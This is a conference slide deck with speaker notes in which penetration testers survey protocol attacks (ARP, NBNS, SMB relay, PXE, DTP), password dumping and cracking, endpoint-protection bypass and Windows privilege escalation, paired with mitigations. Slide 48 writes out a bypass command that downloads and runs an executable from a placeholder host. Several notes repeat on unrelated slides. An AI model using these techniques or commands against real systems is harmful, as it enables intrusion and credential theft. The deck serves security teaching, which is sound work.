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Secure360 - Attack All the Layers! Again!
The document presents a comprehensive overview of penetration testing, focusing on the rationale behind it, various attack vectors such as protocols, passwords, and applications, and techniques for bypassing endpoint protection and achieving privilege escalation. It discusses the implications of compliance requirements, risk evaluation, and preventive controls, while detailing common attacks and mitigation strategies associated with protocols like ARP, NBNS, SMB, and DTP. Additionally, it explores password cracking methods, common vulnerabilities in applications, and tactics for bypassing security measures, concluding that many networks and protocols have inherent vulnerabilities.
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Secure360 - Attack All the Layers! Again!
- 2. INTRODUCTIONS Scott Sutherland PrincipalSecurity Consultant @ NetSPI Twitter: @_nullbind Karl Fosaaen Senior Security Consultant @ NetSPI Twitter: @kfosaaen We specialize in both things and stuff!
- 3. OVERVIEW • Why docompanies pen test? • Attacking Protocols • Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation • Conclusions
- 4. WHY DO COMPANIESPEN TEST? • Compliance requirements • Evaluate risks associated with an acquisition or partnership • Validate preventative controls • Validate detective controls • Prioritize internal security initiatives • Proactively prevent breaches
- 5. OVERVIEW • Attacking Protocols •Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 6. ATTACKING PROTOCOLS • ARP:Address Resolution Protocol • NBNS: NetBIOS Name Service • SMB: Server Message Block • PXE: Preboot Execution Environment • DTP: Dynamic Trunking Protocol
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- 8. ATTACKING PROTOCOLS: ARP •General MAC to IP association Layer 2 • Conditions Independent of user action Broadcast network • Attacks MITM Monitoring MITM Injection DOS
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- 10. ATTACKING PROTOCOLS: ARP Commonmitigating controls: • Dynamic ARP Inspection • Port Security • Static Routes (not recommended)
- 11. ATTACKING PROTOCOLS: NBNS/ LLMNR NetBIOS Name Service
- 12. ATTACKING PROTOCOLS: NBNS •General IP to hostname association Layer 5 / 7 • Constraints Dependent on user action Broadcast Network Windows Only • Attacks MITM Monitoring MITM Injection DOS
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- 16. ATTACKING PROTOCOLS: NBNS Commonmitigating controls: • Create a WPAD (Web Proxy Auto-Discovery) server entry in DNS • Disable NBNS • Disable insecure authentication methods to help limit impact of exposed hashes • Enable packet signing to help prevent SMB Relay attacks
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- 18. ATTACKING PROTOCOLS: SMB •General SMB is the come back kid! Layer 7 • Constraints Dependent on user action Any routable network No connecting back to originating host • Attacks Command execution Shells..aaand shells
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- 20. ATTACKING PROTOCOLS: SMB HistoricallySMB Relay has been used to: • Execute arbitrary commands • Obtain shells Lately the community has been developing tools for doing things like: • LDAP queries • SQL queries • Exchange services • Mounting file systems
- 21. ATTACKING PROTOCOLS: SMB Commonmitigating controls: • Enable packet signing to help prevent SMB Relay attacks • Apply really old patches like if you missed out on the last decade…
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- 23. ATTACKING PROTOCOLS: PXE •General DHCP • Attacks Rogue PXE server Command execution Access to unencrypted drive images Shells..aaand shells
- 24. ATTACKING PROTOCOLS: PXE Commonmitigating controls: • MAC/IP filters • Limit PXE to specific networks • Network Access Controls - NAC
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- 26. ATTACKING PROTOCOLS: DTP Commonmitigating controls: • Use dedicated VLAN ID for all trunking ports • Disable all unused ports and place them on a non routable VLAN • Configure all user ports as access ports to prevent trunk negotiation • Configure frames with two 8021Q headers • Configure strong VACLs
- 27. ATTACKING PROTOCOLS: DTP •General 802.1Q encapsulation is in use Layer 2 • Constraints Independent of user action Trunking is set to enabled or auto on switch port • Attacks Monitor network traffic for all VLANs, because all VLANs are allowed on a trunk by default *Full VLAN hopping
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- 32. ATTACKING PROTOCOLS: DTP Commonmitigating controls: • Use dedicated VLAN ID for all trunking ports • Disable all unused ports and place them on a non routable VLAN • Configure all user ports as access ports to prevent trunk negotiation • Configure frames with two 8021Q headers • Configure strong VACLs
- 33. OVERVIEW • Attacking Protocols •Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 34. ATTACKING PASSWORDS • Hashesand Cracking (Offline) • Dictionary Attacks (Online) • Dump in Cleartext!
- 35. ATTACKING PASSWORDS Tool FunctionYear Pass the Hash Passing Hashes 1997 Rainbow Tables Password Cracking 2000s SMB Relay Relaying Captured Hashes 2001 John the Ripper Password Cracking 2001 NetNTLM.pl Cracking Network Hashes 2007 PTH Toolkit Pass all the Hashes 2008 Hashcat CPU and GPU Cracking 2010 WCE and Mimikatz Cleartext Windows Creds 2012
- 36. ATTACKING PASSWORDS: DICTIONARY •Online Vs. Offline Attacks • Dictionary Attacks Enumerate users - Null SMB logins, RPC, *SID BF, SNMP, LDAP, SharePoint, etc Attack! • Are users getting smarter? Sort of… - “Spring2014” meets password complexity requirements
- 37. ATTACKING PASSWORDS: HASHES •What are hashes? A non-reversible way of storing passwords Operating systems and applications Lots of types LM/NTLM Network and Local MD5 SHA descrypt
- 38. ATTACKING PASSWORDS: HASHES •How do we get hashes? Cain and Abel fgdump Metasploit Mimikatz Databases Config files
- 39. ATTACKING PASSWORDS: CRACKING •Cracking Hashes Rainbow Tables John the Ripper oclHashcat CPU versus GPU
- 40. ATTACKING PASSWORDS: CRACKING 0 100 200 300 400 500 600 Minutesfor Six Character Brute Force CPU GPU
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- 42. ATTACKING PASSWORDS: CLEARTEXT Commonapplication configs Reversible Formats Find in files Groups.xml Unattend.xml Sysprep Registry WCE Mimikatz
- 43. OVERVIEW • Attacking Protocols •Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 44. ATTACKING APPLICATIONS: COMMON •Default and weak passwords • SQL injection • RFI/web shells • Web directory traversals • UNC path injection + SMB relay • Critical missing patches
- 45. ATTACKING APPLICATIONS: BREAKOUTS •Obtain a common dialog box • Bypass folder path and file type restrictions • Bypass file execution restrictions • Bypass file black/white lists • Access to native consoles and management tools • Downloading and use third party applications
- 46. OVERVIEW • Attacking Protocols •Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 47. BYPASSING EPP: ANTI-VIRUS •Powershell Code Injection • Execute off network share • Clone resource tables • Modify import tables • Pack files
- 48. BYPASSING EPP: APPWHITE LIST • Rename executables • Execution via approved apps - Powershell Code Injection - Rundll32 mydll,DLLMain@12 - IEExec http://x.x.x.x:8080/bypass.exe - cmd /c file.exe • Directory Exceptions • Disable Services • Poisoning updates and approved file lists
- 49. OVERVIEW • Attacking Protocols •Attacking Passwords • Attacking Applications • Bypassing End Point Protection • Windows Escalation
- 50. WINDOWS ESCALATION: OVERVIEW •Privilege Escalation Goals • Local Privilege Escalation • Domain Privilege Escalation
- 51. WINDOWS ESCALATION: GOALS LocalEscalation Goals Find clear text or reversible credentials with local administrative privileges Get application to run commands as Administrator or LocalSystem Domain Escalation Goals Find Domain Admins Impersonate Domain Admins
- 52. WINDOWS ESCALATION: LOCAL LocalEscalation *Clear text credentials in files, registry, over network Insecure service paths DLL preloading DLL and exe replacement Binary planting in auto-run locations (reg and file system) Modifying schedule tasks *Local and remote exploits Leverage local application like IIS, SQL Server etc *UNC path injection + SMB Relay / Capture + crack
- 53. WINDOWS ESCALATION: DOMAIN DomainEscalation – Find DAs Check locally! (Processes,Tokens, Cachedump) Review active sessions - netsess Review remote processes - tasklist Service Principal Names (SPN) – get-spn Scanning Remote Systems for NetBIOS Information - nbtscan Pass the hash to other systems PowerShell shell spraying WINRM/WINRS shell spraying Psexec shell spraying
- 54. WINDOWS ESCALATION: DOMAIN DomainEscalation – Impersonate DAs Dump passwords from memory with Mimikatz Migrate into the Domain Admin’s process Steal Domain Admins delegation tokens with Incognito Dump cached domain admin hashes with cachedump Relatively new techniques PTH using Kerberos ticket
- 56. CONCLUSIONS All can kindof be fixed Most Networks Kind of broken Most Protocols Kind of broken Most Applications Kind of broken
- 57. ATTACK ALL THELAYERS! ANY QUESTIONS?
- 58. ATTACK ALL THELAYERS! Scott Sutherland Principal Security Consultant Twitter: @_nullbind Karl Fosaaen Senior Security Consultant Twitter: @kfosaaen
Editor's Notes
- #5 Validation controls = ids/ips/waf incident response
- #7 These are protocols that are commonly targeted. However, there are many others:Address Resolution Protocol (ARP): Cain, ettercap, interceptor-ng, Subterfuge, easycredsNetBIOS Name Service (NBNS): MetaSploit and responder Link-local Multicast Name Resolution (LLMNR): MetaSploit and responder Pre-Execution Environment (PXE): MetaSploitDynamic Trunking Protocol (DTP): Yersinia Spanning-Tree Protocol (STP): Yersinia, ettercap (lamia plugin) Hot Stand-by Router Protocol (HSRP): Yersinia Dynamic Host Configuration Protocol (DHCP): Interceptor, MetaSploit, manual setup Domain Name Services (DNS): MetaSploit, ettercap, dsniff, zodiac, ADMIdPackVLAN Tunneling Protocol (VTP): Yersinia, voiphopper, or modprobe+ifconfig
- #8 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #9 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #10 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #11 Go with what you like.
- #12 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #13 Windows Protocol- Kind of like a back up to DNS- Host file- DNS- NBNSRace condition Limited to broadcast network
- #17 Go with what you like. http basichttp_ntlmauthhttp_relaysmb
- #18 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #19 In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s. However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks. Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years. During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.Anyway, let’s get back on track…
- #20 Image showing MITM
- #22 Go with what you like. http basichttp_ntlmauthhttp_relaysmb
- #23 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #24 In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s. However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks. Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years. During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.Anyway, let’s get back on track…
- #26 Been an issue since the birth of the internet and hasn’t really gone away.ARP is a broadcast protocol used for IP to MAC relationshipsLimited to broadcast network- No encryption or validation allows for spoofingMITM Step 1 – tell server you are a clientMITM Step 2 - tell client you are the serverCan also broadcast as gateway to all systems on subnet, but your most likely not a router – so don’t do thatCan also dos very easily
- #28 the unauthorized switch can send DTP frames and form a trunk with the Company Switch. If the attacker can establish a trunk link to the Company switch, it receives traffic to all VLANs through the trunk because all VLANs are allowed on a trunk by default.
- #29 Image showing MITM
- #30 Image showing MITM
- #31 Image showing MITM
- #32 Image showing MITM
- #37 Touch on common tools and pitfalls (account lockouts)
- #45 Default and weak passwords for everythingTools: Nmap, Nessus, Web Scour, Manuals, GoogleSQL injectionTools: Manually, web scanners, SQL Ninja, SQL Map, MetasploitRFI/Web Shells (JBOSS, Tomcat, etc.)Tools: Metasploit, Fuzzdb, and other web shelleryWeb directory traversalsTools: Manually, web scanners, Fuzzdb, Metasploit, Critical Missing Patches (SEP etc)Tools: Metasploit, exploitdb exploits, etc
- #49 Execution via approved apps - Powershell Code Injection - Rundll32 - IEExecDirectory Exceptions - GACDisable ServicesPoisoning allowed file list and blocking updates via hosts filePoisoning updates
- #51 This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- #52 Localuser Local AdministratorExcessive local group privileges (admin or power users)Cleartext credentialsSysprep (unattend.xml/ini/txt)Config files, scripts, logs, desktop foldersTech support calls filesWeak application configurations that allow: Restarting or reconfiguring servicesReplacing application files DLL pre or side loading Executable injection via poorly registered services C:\Program Files (x86) vs “C:\Program Files (x86)” Local and remote exploits (Metasploit: getsystem)
- #53 This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- #54 This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- #55 This is a non-linear process so be aware that some techniques can be used at many levels.These are the common escalation scenarios seen during penetration testing.
- #56 Yes it did.